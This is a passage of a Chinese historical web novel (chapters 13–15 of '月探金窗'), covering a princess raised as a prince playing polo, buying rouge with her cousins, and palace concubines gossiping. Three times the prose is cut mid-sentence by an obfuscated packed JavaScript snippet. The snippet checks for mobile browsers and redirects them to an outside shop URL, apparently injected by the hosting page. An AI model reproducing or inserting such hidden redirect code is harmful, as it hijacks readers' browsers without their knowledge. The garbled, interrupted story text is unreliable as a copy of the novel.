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李息宁将小猫装进宝宁带来的套着红布袋的竹斗中,里面还压着软垫,放着小鱼干,李息宁说:“你可要好好待我的狸奴,不准打它!” 宝宁说:“放心,放心。” 李守节在旁边笑着打趣说:“你俩长大后不妨做一对儿女亲家吧,还真像那么回事!” 宝宁说:“好啊。” 他的眼睛亮晶晶的,笑起来脸上有个旋儿,他对李息宁说:“我生个女儿嫁你!” 息宁皱眉,说:“笨蛋!我爹爹是说,以后让你女儿嫁我儿子,不是嫁给我!” 宝宁眉心蹙起,方才脸上的喜悦收了收,他真情实感地说:“那怎么行?我又不知道你儿子是高是矮是胖是瘦,我怎么能让女儿嫁他呢?” “你有女儿吗?!” 李息宁被他一点就着,她跺着脚大叫:“再说了,我还不知道你闺女是高是矮——” “好了好了,你俩不要吵了。” 李守节伸手把他俩分开。 只好了一个时辰不到,就又开始吵了,这以后的日子可要怎么过呢?李守节很无奈地想。 13. 月探金窗(二) 长安城的天气时好时坏。 关中平原草木茂盛、水土丰沛,又到了晴雨不定的季节,说不准什么时候就会飘起雨来,昨天下午李息宁注意到沉甸甸的云都向西飘去了,那今天大概会是个晴天,于是便约了赵王家的几个孩子一起到旧东宫明德殿后打球。 她做事一向赶早不赶晚,天还未亮就出了门,早早到了球场。 草还湿润着,处处散发着泥土的芬芳,她抬头望了眼天际,喷薄的阳光正一点点地掠过琉璃瓦,将鸦青色的大地照亮。 明德殿已经倒了,十几年过去,人们或许已经忘记了它曾矗立在此的模样,只剩下了几间廊房,住着几个小宫娥——她们应该是被打发到这里来的,喂马、打理花草、修建草坪就是她们的日常工作,这并不是什么累活,只是毫无前途罢了。 知道李息宁要来,宫娥们早早便被安排到别的殿当值,这里现下清净得很,只偶尔从树梢冒出几声鸟叫。 李息宁穿了件通红色的窄袖缺胯袍,缠着护臂,腰系蹀躞带,幞头的系带垂在肩上,她拎着一根马球杆在手里转了转,远远看向了墙根下的几个人影。 两大一小,在这一览无余的空地上格外扎眼。 “那是何人?不知道今日我要在这里打球吗?” 李息宁平时除了打球跑马,很少来东宫,这里什么都没有。 甚至每逢雨后,她总是能闻到一丝若有若无的木头的腐朽味,就好像那些倒塌的大殿还在泥土中深埋着一样。 不过,东宫到底是太子的地盘,这地方要怎么用、让谁用,只能是太子说了算。 左右回话:“那是豫王殿下府中的小公子,这几日正在学习骑马,他平时来得早,一般骑两圈就走了,谁知道今天……不过,既然大王驾临,我这便和他说一声去。” “慢着。” 听到豫王,李息宁眉头微皱,那人刚要动身,便被她叫住了。 “大王还有何事要吩咐?” 李息宁问:“是谁叫他跑到这里来学骑马的?” 对方没想到李息宁会这么问,脸上浮现出尴尬的神色,低声回话:“这、这是……这是郎君的意思,他之前似乎说过,说什么,目前也无甚紧要用,若是谁家孩子想骑马,可、可以……” 话说到这里,他才迟钝地意识到,李息宁其实已经很不高兴了,于是忙道:“大王恕罪,我这就把他劝走!” “罢了。” 李息宁不想让那个孩子回去和他家大人学嘴,就说:“既然是太子殿下的意思,便让他在此处待着吧,也占不了多少地方,看住他,让他离远些。” “太子殿下”这四个字叫她说得抑扬顿挫,听着很不是个滋味。 那人想:唉,果然生气了。 李息宁翻身上马,与随侍先玩了两圈,轻轻松松便大杀四方,身后跟着一群人哈哈喘气,她顿觉没劲,便随手点了个人上前:“你去瞧瞧,赵王府的几位贵人到哪里了?难道还要我亲自去请他们才行?” “属下这就去!” 她把球杆扛在肩上,脑中漫无边际地开始胡思乱想: 还说趁朝班散之前回去呢。 爹爹要是知道她一大早就跑出来玩了,少不免又是一顿说笑,肯定还会说什么——不叫我出去玩,你自己玩得倒开心——这种话。 切,以为谁都跟他一样? 不过,爹爹也真是的,怎么能让豫王家的人跑到这里来? 豫王也是,还当这东宫是他家的吗? 完全没有一个做臣子的样,等她以后做了皇太子,第一个收拾他! 不过,既然她都当上皇太子了,那爹爹不就已经是皇帝了吗? 到时候,她是不是就该叫他“宅家”了? 这称呼套到李守节身上,她觉得有些说不出的怪,再想象一下自己率领群臣向他三跪九叩的场面,竟有些忍不住地发笑。 她心情略有缓和,心想:罢了,一些猴年马月的事,想它作甚?翁翁身体正好着呢,她这样乱想,岂不是在咒翁翁吗?其他的事也随爹爹的便,他不讲规矩也不是这一天两天,愿意怎样就怎样。 反正也不是她该操心的事! 半天不见人来回话,李息宁等着也是等着,准备找些事情做,把球杆递给随侍,自己骑马往另一边去。 这里很是空旷,除去绵延的宫墙,连树荫都很少有,唯有曾经明德殿宽广的台基矗立在裸露的地面上。 李息宁骑着马,马蹄踏过绿油油的草坪,携起一阵草气花香,那些腐烂的木头味此时好像又闻不到了。 远处的墙根下,一个大概五六岁的小少年正骑在一匹棕黄色的马驹背上,两腿笨拙地夹着马腹,随着马匹的行走而上下颠簸、摇摇晃晃。 他的声音稚嫩而清亮,快乐地欢呼着:“伴伴,伴伴!我会啦!我会啦!!” 李息宁小时候也是在这里学的骑马,不过那时陪着她的并不只有蒋明夷,还有李守节与林良娣。 她自小拔尖聪明,学什么都很快,李守节只带着她走了一圈,她便能骑着小马驹满地撒欢了。 她一边跑一边喊叫,向林良娣炫耀自己新学到的本领,李守节骑着马速度适中地跟在她身边,良娣让她乖乖坐好,她便觉得是被良娣娘娘小瞧了,心想要表演个厉害的给她看,可怎么才算厉害呢? 有了!——她脑子里冒出了一个大胆的想法,她踩着马镫,弓着的背挺直起来,脚腕用力,克制住两股的颤抖,她要站起来!可屁股刚一离开鞍鞯,整个人便露了怯,性情温顺的小马驹感到被夹紧,以为小主人让自己要跑快些,于是撒着蹄子迈开了腿跑,李息宁“呀”了一声,重心不稳,突然向一边歪倒了过去…… 林良娣的尖叫声从身后远远地传来,李息宁紧抓着缰绳不放,她挂在马背上,整个人都已经摇摇欲坠了,还在倔强地想:不怕,不怕,不能摔下去,摔下去会痛的!用力!用力呀!可应该哪里用力才对呢?……她看了一眼模糊的地面,心想:坏了,坏了,要掉下去了。 慌张中,她听见了爹爹的声音,爹爹说:“没事的,先把手松开。” 可松开缰绳的话,会摔的,摔下去,会痛的! 李守节笑着,一弯腰把她拎了起来,她看着地面离自己远去,下意识地大叫,父亲搂着她,把她稳稳放入到自己的怀中,一甩马鞭,那匹枣红大马飞快地跑了起来—— 风在耳边呼啸,眼前的景物不断地后退、后退,模糊成了一堆色彩交织的线,她抬头,视线掠过父亲的鬓边,看向了一望无际湛蓝色的天空。 那天的天气,也是今天这样,万里无云。 这孩子李息宁见过几面,她记得他只取了一个乳名,叫“卯君”,大家都叫他“阿卯”,听起来像只小兔子一样。 他生得白净,像他的母亲。 豫王的那个妃子,姓什么已经忘了,她对宗室本就不上心,更何况是他们家里的女眷,不过勉强有点印象。她相貌不出众,但是生得洁白,李息宁第一次见她还很纳闷,她是整日里泡在牛奶里吗?怎么会那样白?还是说从不见太阳呢?可不见太阳的人,身体会好吗? 果不其然,听说她一年之中大部分的时间都在生病,她病到豫王都不喜欢她了,生出来的孩子也不健康,连着夭折了两个,阿卯是第三个,也是一副病歪歪的模样,快六岁了,豫王也没有给他取一个正式的名字,好像他也随时也会夭折似的。 豫王府的侍从给李息宁行礼,她挥挥手让他们都退下。 阿卯骑着马,发觉身后的人都不见了,立刻慌张起来,本就笨拙的身体绷得像一只蜷曲的虾,他哆哆嗦嗦,苍白着一张小脸回头张望:“伴伴、伴伴!” 说着,他双脚离了马镫,踢踢踏踏半天踩不回去,连着几声惊叫: “救命,伴伴,救命!我要掉下来啦,我要——” 他闭上眼睛,却并没有掉在地上,他觉得自己飞在了空中,接着落入到了一个温暖的怀抱。 阿卯窝在李息宁怀里,像只小猫一样不敢动弹,李息宁拍拍他的屁股,让他睁开眼,他胆怯地瞄她,看清楚她的模样后无比震惊: “——叔叔?!!” 李息宁:“……” 豫王是她的堂兄,按理来说,阿卯也确实是她侄子辈的,只是她还是第一次被人当面叫“叔叔”,多少有些不习惯。 李息宁看着他,小小的一个,浑身上下也没几斤肉,不知道豫王平时都是怎么养他的,好在脸还是圆润的,不至于令人讨厌。 她故意说: “你是哪里的孩子?谁叫你上我家来玩的?” “啊、啊……” 他浑身一哆嗦:“我、我是我阿娘的孩子,我、我、是……是……叫我来的……” 他嗫嚅着,声音蚊子一样弱,李息宁俯身,脸凑得离他近了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿卯从李息宁怀里探出脑袋,声音依旧小小的,他说:“伴伴,我想和叔叔一起玩,你就让我和他一起玩吧……” “唉,好、好吧……” 他犹豫了半天,还是多了一句嘴:“大王,他不比别的孩子,实在是经不起磕碰,您千万要当心呀!” “我知道。” 李息宁骑马技术一流。 她一手牵着缰绳,胳膊将阿卯紧紧夹在怀里,另一手执着一柄长球杆,一击马臀,骏马便在草场上飞快地奔驰了起来,五色障泥上的金流苏撞得沙沙作响。风掠过她的面颊,她向右侧倾身,怀中的阿卯感觉自己歪了,发出了一声喊叫——但抱着他的人身形极稳,他竟然一点也不怕了。 他看见永宁郡王一杆击中彩球,飞出一道绚丽的弧线,精准地落入球门。 喝彩声远近,李息宁拎着缰绳停下,另一手提着球杆转了转,笑道:“怎么样?有趣吗?” 阿卯说:“太厉害啦!” 李息宁被他夸得很受用:“等你学会骑马了,我再好好教你。” 阿卯一听这话,心里更是乐开了花。 他没想到永宁郡王以后还会和自己一起玩——他竟然不嫌弃自己,嫌弃自己胆子小、嫌弃自己笨,他竟然说以后还要和自己一起玩! 还要教自己打马球!! 阿卯天真地想:怎么会有像叔叔这么好的人,他人长得好,马骑得好,球打得好,怎么都好! 但他太笨了,他想不出来什么漂亮话去捧对方、去讨对方开心,他只能说:“叔叔,你真好!你也太好了!” 李息宁失笑:“你快别叫我叔叔了。” 这话听得实在是怪。 阿卯有些疑惑:“那不叫你叔叔,我该叫你什么呢?” 李息宁是被当男孩养大的,虽大不了阿卯几岁,但辈分放在那里,也确实该叫她一声叔叔,可是,只可是…… 唉,怪呀怪,实在是怪! 她闷闷地想:要是什么时候能做回女孩就好了。 “额,你,额……”李息宁放弃了,“算了,你愿意怎么叫就怎么叫吧。” 一个称呼而已。 14. 月探金窗(三) 李息宁第二杆球打得也是十分漂亮。 怀里的阿卯暖烘烘的,让她微微有些出汗,李息宁勒紧缰绳原地歇了会儿,听身后有人传话,说是宝宁他们来了。 赵王家一共四个孩子,长子比李息宁大了五六岁,在朝廷里领了差,平日忙得脚不沾地,根本不会和他们这些半大不大的孩子们一起玩。于是太子和赵王公主一家的日常联络,便全系在李息宁和李宝宁身上,他二人年龄相仿,脾气性格大差不差,甚至连名字都那么像。 宝宁穿一件银红色窄袖袍,俏着一张脸领着弟弟妹妹走来,阿卯忽然呀了一声:“——是他!” “你认得他?” “我不认得,但我见过!” 阿卯很高兴,他宴席见的李宝宁,那时他被弟弟妹妹们围着簪花,阿卯躲在很靠后的地方,远远地看着他们,他很羡慕,也想加入,但他谁也不认识。 阿卯欢呼道:“他是——漂亮哥哥!” 漂亮吗? 确实很漂亮,李息宁认识那么多人,他们说过李宝宁顽皮、贪玩、不懂事,却没有一个说他不漂亮的。 李息宁抱着阿卯笑,宝宁骑了马,到她身边来,刚想解释为什么迟到,却见她怀里还揣着个小朋友,不禁纳闷:“笑什么呢?怎么这么高兴?这是谁?” “这是我侄儿。” 说着,李息宁掂起球杆敲了敲他的胳膊:“表哥,你可知他刚刚唤你什么?” “叫我什么?” 宝宁心想,你侄儿也是我侄儿,咱俩是一个辈分的,还能叫什么? 李息宁说:“你没来的时候,他喊我一口一个叔叔,你一出现,他就喊你叫哥哥了……我说表哥,你倒不如干脆认了这个弟弟,以后跟着他一起叫我叔叔好了!” “喂!” 宝宁被她戏弄得脸上飞红,他说:“不许胡说!是什么就是什么,怎么能这样乱叫!” “好好好,表哥,我不逗你了。” 李息宁睨了一眼他身后,蕙娘和三郎打扮得也很喜人,他们年纪小,一人只骑了一匹小马,手里拿着的也是小号球杆,她对他们微笑,又问李宝宁说: “你们做什么去了,不是说好卯时三刻的吗?怎么到得这样迟?” 宝宁扬了扬下巴:“这你问蕙娘去吧。” “哦?” 于是李息宁骑着马绕过李宝宁,到蕙娘身边。 她脸上带笑,怀里又抱着个粉面团子一样的孩子,整个人看上去十分温柔,蕙娘的脸红扑扑的,红得有些不自然,像是一个熟透的苹果。李息宁心想:太阳还没出来呢,她怎么就被晒成了这样? “蕙娘,你怎么了?” 她问:“是不舒服吗?你若是有别的事,或者不想来,让二郎表哥跟我说一声就好了,我们兄弟姊妹之间不用讲那么多的。” 这话一落,宝宁和三郎两人对视一眼,立刻捧腹大笑,李息宁夹在他们当中,显然有些懵了。 三郎说:“二哥,我说什么来着,表哥他、他根本就看不出来嘛!” 李息宁:“……看不出来什么?” 蕙娘:“喂!你们!不许说!表哥,你不要听他们胡说!” 李息宁没有搞明白是怎么回事。 蕙娘挥舞手臂,用球杆去打她的两个多嘴的兄弟,李宝宁见状笑着逃走,一边跑一边说: “我们为什么来的这么迟?对呀,为什么呢?都是在等蕙娘嘛!表弟,蕙娘她不是不想来,她是太想来了!她今天为了见你,可是足足打扮了一个时辰呢!她可没有生病,她脸上那么红,是因为、因为胭脂涂得太厚啦——” “李宝宁!”蕙娘生气了。 李息宁堪堪眨了一下眼,低头看阿卯,阿卯也看她,他们两个显然没有闹明白是怎么一回事,她好像懂了,又好像没懂,她抬头看向蕙娘,马缓缓迈开蹄子,向她靠近一些。 蕙娘挥舞着球杆的手垂下去,气焰全无地贴在身侧,她的脸也垂了下来,她抬起手臂,手背贴在脸侧,局促地蹭着自己微红的双颊,她小声地为自己辩解: “表哥,不是的,你别听他们胡说,是我睡懒觉了,才迟到的……” 李息宁说:“抬起脸来让我瞧瞧。” “表哥你也要取笑我吗?!” 蕙娘嘟囔着,心一横,倔强地扬起了下巴。 她的眼睛湿漉漉的,眼底泛着水光,嘴唇紧抿,似乎受了很大委屈似的,她想:笑吧笑吧你们就笑吧!我以后再也不要和你们一起玩了!我讨厌你们! “这不是很好看么。” 李息宁仔细地观察了她一阵,确实粉擦得有些重了,不过不影响什么,人们常说面若桃花,应该就是这种颜色,于是她笑着宽慰她,语气和顺: “不要听你两个兄弟的话,爱美是人的天性,人怎么能和自己的天性作对呢?不过话说回来,蕙娘竟然也学会涂胭脂了,一会儿我们出去,表哥买两盒送你。” 蕙娘“啊”了一声,脸更红了。 阿卯也跟着“啊”了一声,他张大了嘴巴,声音里满是疑惑:“胭脂是什么?是好东西吗?我也想要。” 宝宁:“我也想要。” 三郎:“我也想要。” 李息宁教训他们:“你们要什么?净会凑热闹,要我也不给,我只给蕙娘买。” 蕙娘高兴地要跳起来:“表哥,你真好!” 她很喜欢这种被偏爱的感觉,她有时候都在想,做大哥和二哥的妹妹有什么好的,他们都是臭男人,一点也不体贴,也不会说好听话……她要是表哥的妹妹就好啦!表哥会哄人,身上也香香的! 她、她要是…… 要是能嫁给表哥就好啦! 这念头一冒出来,便很快地生了根、发了芽,以至于她今天打球也格外卖力,连着进了四个,甚至比她二哥都要多进一个球! 日光下照,清晨的露水被一点点晒干,几个色彩明艳的少年骑着马在球场上肆意奔跑,欢笑声飘荡在荒芜又空荡的明德殿上。 玩得久了,身上多少有些发汗,李息宁的幞头湿了,几缕碎发从缝隙里钻了出来,湿答答地贴着她的额头上,阿卯也累了,他一开始还兴奋地大叫,现在蔫蔫地靠在李息宁怀里,一动也不动。 阿卯的大伴喊他们,李息宁回头,大伴跑过来说:“公子,我们该回家啦!” 李息宁于是下马,把他从马上抱了下来,稳稳放到地上:“回去吧,我们改日再一起玩。” 阿卯睁开眼睛都费力,他伸手要抱,大伴就把他抱在怀里,很是客气地对李息宁说:“小公子不懂事,打搅了大王一早上,还望大王不要见怪。” 李息宁说:“自然不会。” 大伴带着侍从向她行过礼之后,便抱着阿卯走了,李息宁原地看着他们远去,扭头对那三个人说:“时候不早了,我们要不也回去吧?” “这就回家呀?我不想回去!” 三郎瘪了嘴:“回去爹娘又要叫我念书,我才不要念书呢!” “没说要回家。” 李息宁说:“不是说要给蕙娘买胭脂吗?我们一起去吧,三郎你如果有想要的也可以跟我说。” 三郎大喜:“真的吗?还是表哥大方!” 他们三个兜兜转转进了东市,李息宁对香粉之类的不是很了解,也不感兴趣,几人就沿着街随意闲逛。蕙娘相中了一副扇面,摹的是王右军的真迹,她觉得喜欢,李息宁便出手阔绰地给她买了,三郎一开始说有想要的,但逛了半晌,也没说出来到底想要个什么,李息宁便说你想好了再告诉我,至于李宝宁—— 他是真的来买胭脂的。 李息宁本以为二郎表哥活泼跳脱,可反而他才是那个说做什么,便真的要做什么的人。 他选的那家脂粉铺,在长安城鼎鼎有名,往往新货一出,不到半天功夫就会被长安城的王公贵族一抢而空。老板见他面貌生得好看,便请他进去试颜色,李息宁他们也跟着进去,乌泱泱站了一大片人,老板笑着说:“各位官人,请问是要挑个什么颜色呀?” 李息宁说:“红色。” “……” 老板一愣,旋即笑道:“红色……也有很多呢,您看,这是樱桃红,这是石榴红,这是荔枝红,您看看喜欢哪一种?” 李息宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382565|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便问蕙娘:“你喜欢哪个?” 蕙娘不好意思地抓了抓脑袋:“表哥,其实……我也看不太出来。” 李息宁就笑了,温声吩咐:“那便带她依样去试试吧,觉得哪个好便选哪个,一会儿我来付账。” 吩咐罢了她又想:要不要也给林娘娘买一个? 可她从来没见过她敷粉,也没见过她擦胭脂,她喜欢这些吗? 算了,买一个也是买,买两个也是买。 三郎对这些一点儿也不感兴趣,他见对面有卖玩物的,就跑出去看了,李宝宁挨在她身边,附身把那些陈列在案上银质的脂粉匣子依样拿起来看,膏状的胭脂质地细腻柔滑,他看了半天,从中选了一样,递给李息宁看: “你觉得这个怎么样?” “不错,很好看。” 李息宁问:“这又是什么红?” 不像荔枝,不像樱桃,也不像石榴。 “这是……”李宝宁说:“鹤顶红。” 李息宁挑眉,接过来仔细瞧了瞧。 确实,并非正红,似乎掺了些黄进去,整体说淡不淡,说浓也不浓,鲜艳与黯淡调配得恰到好处。一眼看去非常熟悉,似乎在哪里见过。 是丹顶鹤头上那一抹红吗? 不,不是,那藏在白与黑之间的红离她太遥远了,她不会这么快就联想起来,是、是—— 她微微一怔,脑中闪过一幅画面。 是刚刚在旧东宫,宫墙上刷着的颜色。 她的手悬置空中,半天没动,似乎是愣住了。 然后,她注视着匣中的膏体,轻轻蒯了一块出来,细腻的胭脂粘在她的指腹,一点点晕开…… 她和宝宁挨得很近,呼吸间,她都能闻到他身上皂角的清香,很淡,却又很好闻,像是某种生长在野地里的花,她抬头看着他的脸,白净明亮的脸,她想,瀚北海的雪应该就是这种颜色吧…… 可他似乎缺了什么。 缺了什么呢? 李息宁伸手,把刚刚新蘸的胭脂点在了他的唇上。 这动作来得突然,宝宁没有丝毫反应的余地,待回过神后,那一抹鹤顶红便已经印了上去,东宫的颜色印了上去,宝宁睁大了眼,他说:“……” 他什么都没说出来,李息宁打断了他的声音,问:“表哥,你可读过南朝江淹的诗?” “你说哪首?” 李息宁略一沉吟,念道:“江南二月春,东风转绿苹。不知谁家子,看花桃李津。” 宝宁知道江淹这个人,“江郎才尽”说的就是他,这首《咏美人春游诗》虽然不是最好,但也非常有名,后半句是—— “……白雪凝琼貌,明珠点绛唇。行人咸息驾,争拟洛川神。” 江南二月,草长莺飞,东风吹动池上的绿萍。不知道是谁家的女子,在这桃红柳绿的渡口赏花。她的容貌就如白雪凝成的美玉,她的红唇就如丰满莹润的明珠,她多美呀,她的美丽就算过往的行人、羁旅天涯的游子都要忍不住为她留步,将她比作洛水之上的女神…… 她看着李宝宁,宝宁也看着她,两人相顾无言。 她说:“表哥,你的颜色太淡了。” 要染上胭脂才好看。 小妹生得本就明艳,再打扮得浓了,倒有些过犹不及,表哥,你才是需要打扮的那一个。 可是…… 她想:可是表哥,你说的鹤顶红是毒呀,那是砒霜,服用了它之后会穿肠烂肚而死,真的会有人因它的美丽,而将它点在唇上、擦在脸上、涂在墙上吗? 就在她这么想着的时候,李宝宁伸出舌头,将唇上点点胭脂轻轻一舔,竟吃了进去。 他将“毒药”吃了进去。 李息宁:“……” 她脸色微变,猛然伸手抓住了他,她说:“你——!” “你们干什么呢?” 三郎已经抱着一大堆玩物回来了,此时就站在两人身边,也不知道看了他们有多久,他仰着脑袋,看着这俩人挨着,分开,又很快挨上,古怪又好笑……这是什么新游戏吗? 他说:“二哥,表哥,你们俩在做什么呢?” 15. 月探金窗(四) 午后蝉鸣聒噪,日头暖得正好,阳光透过池岸边疏朗的柳丝,洒在东雩别院后花园的石板路上,风轻轻地拂,一地斑驳碎金也跟着轻轻摇晃。 三位云鬓香衣、姿容艳丽的女子正团围坐在一张矮木几前玩叶子牌,案几上铺着烟霞色的织毯,铜质彩盘中骰子骨碌碌地转,良媛刘氏着一身蜜色齐胸襦裙,斜斜地倚在雕花椅上,乌发中斜插一支金步摇,随着她垂眸理牌的动作,珠翠在她的脸侧碰撞,发出悦耳的声响。 她捏着手中衔花雀鸟的叶子牌,笑了笑,伸手便要去拿骰子:“瞧今日这手气,玩了半天,竟然没有一个好彩头,再输一会儿,都该把嫁妆赔进去了!” 承徽王氏面前堆着小半叠铜钱,还有两枚莹润的羊脂玉,正是今日赢的彩头,闻言笑得眼如弯月:“哪有姐姐说得那么怕,方才姐姐还要说赌上次郎君送姐姐的簪子呢,怎么,难道是不舍得了?” 刘良媛笑:“有什么舍不舍得,你若想要,我送你也成!” 王承徽自然是在开玩笑:“当不起,姐姐好好收着就是,是谁的就是谁的,咱们姐妹间玩笑话而已,要让林若华知道了,一准得来指责我们的不是。” 听到林良娣的名字,刘良媛不由眼皮下压,嘴角抿出一丝不屑:“她凭什么来指责我们,郎君都不曾说过我们的不是,她不就仗着当年和杨妙闻前后脚入的王府,真把自己当东雩别院的女主人了?也没有想过,都十几年了,怎么没见郎君把她扶正呀,说白了,还是不讨人喜欢呗。” 王承徽说:“姐姐小声些,让旁人听了去了,人家可是要做皇后娘娘的——” “皇后娘娘?” 刘良媛大笑:“皇后娘娘,哈哈,皇后娘娘——” 说着,她呸了一声:“生不出来太子,她当这皇后娘娘有什么用?到头来还不是给别人做嫁衣裳穿?倒时候人家定是追封自己的亲娘做太后,她这个养母能落得什么好?真是到死都得被杨妙闻给压一头!!” “啊呀,别这么说,我倒是听说……” 王承徽凑到她耳畔,低语道:“那天晚上郎君晚归,她在后门蹲到了郎君,把郎君带入房中,郎君没过夜就走了呢……” 这话刘良媛听了痛快:“她呀,哪怕是过了夜,恐怕也怀不上种。” 王承徽说:“这话怎么讲?” 刘良媛艳红的指甲掐着叶子牌,长眉微挑,道:“你晚来几年,错过了不少好戏,就说当年杨妙闻死了,留下了个没娘的孩子,便够折腾的,郎君那脾气早上是晴晚上是雨,谁也捉摸不透,一会儿一个样,都说把那孩子最好交给林若华来养,他偏偏不让,非要养在自己屋里,可他一个男人懂什么?给孩子养得病歪歪的,又黄又瘦,我还去过他房中帮过几次忙呢,就见他抱着孩子坐在床头,孩子哭他也哭,活像是个死了丈夫的寡妇……” 王承徽讶异:“竟还有这事?” “可不是么,林若华天天跟他吵,为了这点事,后来听说林若华有了身子,也不知是和他置气还是怎么的,竟然自己去煎了一副药,当夜就见红了,在那之后,她就再也没有怀过孩子。” 王承徽睁大了眼,摇着扇子的动作一顿:“……” “看着郎君不常来咱们后院,可这里面的事多着呢,几天几夜都说不完,先不说了,玩牌玩牌,叫我看看——哎!好彩!!” 一旁的徐昭训噘了噘嘴,她年纪小,听不懂两个姐姐在说什么,只知道玩牌输了一中午很不开心,两个姐姐方才又当着她的面放声大笑,她就以为她们是赢了自己的东西开心了,良媛姐姐说把嫁妆赔进去是在开玩笑,可她呢?她是真的已经把自己的一对耳环给输掉了! 她赌气似的把手中的牌往桌上一搁:“罢了罢了!” 她伸手拨了拨面前寥寥无几的铜钱,语气带着几分娇嗔:“老这么输有什么意思?不玩了!” 王承徽挤出一抹笑,凑近扯她的衣袖,劝道:“原是图个乐子,妹妹别气。” 说着,她余光瞥见了徐昭训身后的一片空地,语气缓了缓,感叹道:“或许是之前看习惯了,自从那些海棠树被砍了,这里倒显得愈发空荡起来,也不说补种些什么,就这样一直空着,还怪难看的。” 徐昭训转过头去看,也跟着低声附和,指尖摩挲着手中的叶子牌:“哎,是呀,什么时候砍了的,我都没注意过,我还说呢,怎么日头这么晒,原来是树被砍掉了……姐姐,我们要不去廊下打牌吧?那里有水车,风吹得呼呼的,可凉快了!到那儿我没准就不输牌了!” 刘良媛听得哭笑不得,伸手推了一下她的脑门:“打牌打牌,你就知道打牌!你每天脑子里除了吃、睡就是玩!白瞎了你这样一张漂亮脸蛋,你怎么就不动动你的脑筋、不想着讨好讨好你的郎君,没准他一高兴,明天就封了你做良娣呢?咱们府上不正好还空了一个缺出来吗?专门留给你的你不知道吗!” 徐昭训被她一凶,眼角耷拉了下来,弱弱道:“啊?我、我做良娣,真的假的?可我要是做了良娣,是不是就要和若华姐姐一个院子了……我不要!我害怕她!” 王承徽笑得面色都红润了,她拉着刘良媛的胳膊:“快别逗她了,你不知道她是个傻的呀!” 刘良媛说:“哼,可算是!每天什么都不操心——” 说着,她想起来了什么,回头看了一眼,继续讲:“说起来,那树是杨妙闻种的,多少年了,一直在那儿,早该砍了!记得当年种树的时候,杨妙闻还叫了我和林若华,弄了我一身的泥!后来她赔了我一条新裙子我才原谅了她,砍了倒也好,看着心烦!!” 王承徽说:“你记得倒很清,看来比郎君还想她的人,倒是你了。” “呸!早死的冤家,我想她干嘛!” 刘良媛眉飞色舞,转头看徐昭训,见她一副愣头愣脑的样子,气不打一处来:“你这个傻丫头,光竖着耳朵听了,能听出什么名堂吗?你说说——你知不知道那些海棠树是被谁砍的?” 这个徐昭训知道,她拍拍手,欢快道:“是大王吧?” 刘良媛撇撇嘴:“大王八?我还小王八呢——” 说着,一阵轻快的脚步声传来,三人立马噤声,齐齐抬眼望去,只见永宁郡王穿着一身利落的窄袖缺胯袍,正从假山旁的小径穿过。 “是大王!” 徐昭训双眼明亮,笑着扬声唤道:“大王!快过来坐坐!” 刘良媛和王承徽:“……” 不是,咱们难道不是正在讲人小话吗?! 把正主叫过来是几个意思呀?!!! 李息宁本想装作没看见,但远远听到了呼唤,只好带着一身汗走过来。 刘良媛笑意微凝,却也没起身,拿起纨扇掩了唇:“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382566|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王回来了。” 她目光在李息宁脸上停了停:“大王这是打马球去了?哎呀,这大热天的,瞧这一头汗,春莺,还不快给大王打扇?” 名唤春莺的侍女正捧着冰盏侍立,闻言忙要上前。 李息宁摆了摆手,脸上没什么表情:“不必。” 空气静了一瞬。 李息宁看向徐昭训,刚刚是她叫的自己,把自己叫过来之后又不说话了,只坐在椅子里仰着脑袋巴巴地盯着自己瞧,也不起身向自己行礼。 她对这位大了自己四五岁的姐姐没有什么好感,也想不到她是怎么做了自己父亲的妃子、出现在自己家的,她又看向其中位份最高、也最年长的刘良媛,问:“林娘娘在何处?” 刘良媛将纨扇搁下,笑意淡了几分,语气却仍轻佻:“林娘子在自己屋里呢,方才听前头说,使君来了,估摸正在叙话罢。” “使君”二字在李息宁的心门上轻轻一敲。 在东雩别院,被女眷们称之为“使君”的仅有一人,便是外放的浙东道观察使判官林瑛,是林娘子的胞弟,外官归京常被如此称呼,尤其当这外官还是林娘子的娘家兄弟时,女眷们提起他时总透着几分“娘家人又来撑腰了”的微妙意思在其中,听得李息宁很不痛快。 但她仿若未觉,又问:“爹爹也在?” “这倒不知了。” 王承徽接了话:“郎君今日一早便出门了,中午没回来过,也没说要去哪里……或许是堕云观吧,兴许也已经回来了,在书房也未可知呢。” 李息宁:“……” 又是堕云观。 堕云观到底有谁在? “好,我知道了。”她说:“姨妃娘娘慢慢玩,我先告辞了。” 李息宁不再多言,略一颔首便往内院去。 脚步声渐远,岸边才重新响起低语。 “瞧见没?大王如今是越发气势了。”刘良媛嗤笑一声,挑眉道:“瞧那眼神,比她爹还像个事呢,哼。” “毕竟是主家,现在是皇孙,以后就是太子了。” 